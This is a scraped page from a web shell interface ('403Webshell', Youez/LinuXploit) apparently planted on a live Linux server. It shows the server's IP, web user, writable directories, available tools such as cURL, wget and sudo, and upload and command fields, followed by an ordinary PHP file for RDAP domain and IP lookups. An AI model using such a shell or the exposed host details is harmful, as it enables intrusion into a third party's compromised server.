403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/clients/client2/web21/web/api/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/clients/client2/web21/web/api/lib/rdap.php
<?php
/**
 * RDAP-Abfragen (Registrierungsdaten) für Domains und IPs via rdap.org-Bootstrap.
 *
 * @package SafeMyIdent\Api
 */

declare(strict_types=1);

require_once __DIR__ . '/net.php';

/**
 * RDAP-Rohabfrage mit Cache.
 *
 * @param string $path 'domain/example.com' oder 'ip/1.2.3.4'.
 * @param int    $ttl  Cache-Sekunden.
 * @return array<string,mixed>|null
 */
function smi_rdap_raw(string $path, int $ttl = 3600): ?array
{
    $key = 'rdap|' . $path;
    $hit = smi_cache_get($key);
    if ($hit !== null) {
        return $hit ?: null;
    }
    $body = smi_provider_get('https://rdap.org/' . $path, 7, ['Accept' => 'application/rdap+json, application/json']);
    $data = null;
    if ($body !== '') {
        $dec = json_decode($body, true);
        if (is_array($dec) && !isset($dec['errorCode'])) {
            $data = $dec;
        }
    }
    smi_cache_set($key, $data ?? [], $ttl);
    return $data;
}

/**
 * Registrar-/Kontaktnamen aus RDAP-Entities extrahieren.
 *
 * @param array<string,mixed> $data RDAP-Antwort.
 * @param string              $role Gesuchte Rolle (z. B. 'registrar').
 * @return string
 */
function smi_rdap_entity_name(array $data, string $role): string
{
    foreach ((array) ($data['entities'] ?? []) as $ent) {
        if (in_array($role, (array) ($ent['roles'] ?? []), true)) {
            // vCard: fn.
            foreach ((array) ($ent['vcardArray'][1] ?? []) as $v) {
                if (($v[0] ?? '') === 'fn' && !empty($v[3])) {
                    return (string) $v[3];
                }
            }
            if (!empty($ent['handle'])) {
                return (string) $ent['handle'];
            }
        }
    }
    return '';
}

/**
 * Domain-RDAP aufbereiten.
 *
 * @param string $domain Domain (bereits validiert).
 * @return array<string,mixed>
 */
function smi_rdap_domain(string $domain): array
{
    $data = smi_rdap_domain_raw($domain);
    $out = [
        'available'    => $data === null,
        'domain'       => $domain,
        'registrar'    => '',
        'created'      => '', 'updated' => '', 'expires' => '',
        'statuses'     => [],
        'nameservers'  => [],
        'dnssec'       => null,
        'source'       => '',
    ];
    if ($data === null) {
        return $out;
    }
    $out['registrar'] = smi_rdap_entity_name($data, 'registrar');
    foreach ((array) ($data['events'] ?? []) as $ev) {
        $action = strtolower((string) ($ev['eventAction'] ?? ''));
        $date   = (string) ($ev['eventDate'] ?? '');
        if ($action === 'registration')            { $out['created'] = $date; }
        elseif ($action === 'expiration')          { $out['expires'] = $date; }
        elseif (in_array($action, ['last changed', 'last update of rdap database', 'last update'], true) && $out['updated'] === '') { $out['updated'] = $date; }
    }
    $out['statuses'] = array_values(array_map('strval', (array) ($data['status'] ?? [])));
    foreach ((array) ($data['nameservers'] ?? []) as $ns) {
        if (!empty($ns['ldhName'])) {
            $out['nameservers'][] = strtolower((string) $ns['ldhName']);
        }
    }
    if (isset($data['secureDNS'])) {
        $out['dnssec'] = (bool) ($data['secureDNS']['delegationSigned'] ?? false);
    }
    $out['source'] = (string) ($data['port43'] ?? 'RDAP');
    return $out;
}

/**
 * Domain-RDAP roh (auch für Rohdaten-Ausgabe).
 *
 * @param string $domain Domain.
 * @return array<string,mixed>|null
 */
function smi_rdap_domain_raw(string $domain): ?array
{
    return smi_rdap_raw('domain/' . rawurlencode($domain));
}

/**
 * IP-RDAP aufbereiten (Netname/Org/Country/Abuse).
 *
 * @param string $ip IP.
 * @return array<string,mixed>
 */
function smi_rdap_ip(string $ip): array
{
    $data = smi_rdap_raw('ip/' . rawurlencode($ip)) ?? [];
    $out = [
        'netname' => (string) ($data['name'] ?? ''),
        'handle'  => (string) ($data['handle'] ?? ''),
        'country' => (string) ($data['country'] ?? ''),
        'type'    => (string) ($data['type'] ?? ''),
        'start'   => (string) ($data['startAddress'] ?? ''),
        'end'     => (string) ($data['endAddress'] ?? ''),
        'org'     => smi_rdap_entity_name($data, 'registrant') ?: smi_rdap_entity_name($data, 'administrative'),
        'abuse'   => '',
    ];
    // Abuse-Mail suchen.
    foreach ((array) ($data['entities'] ?? []) as $ent) {
        if (in_array('abuse', (array) ($ent['roles'] ?? []), true)) {
            foreach ((array) ($ent['vcardArray'][1] ?? []) as $v) {
                if (($v[0] ?? '') === 'email' && !empty($v[3])) {
                    $out['abuse'] = (string) $v[3];
                    break 2;
                }
            }
        }
    }
    return $out;
}

Youez - 2016 - github.com/yon3zu
LinuXploit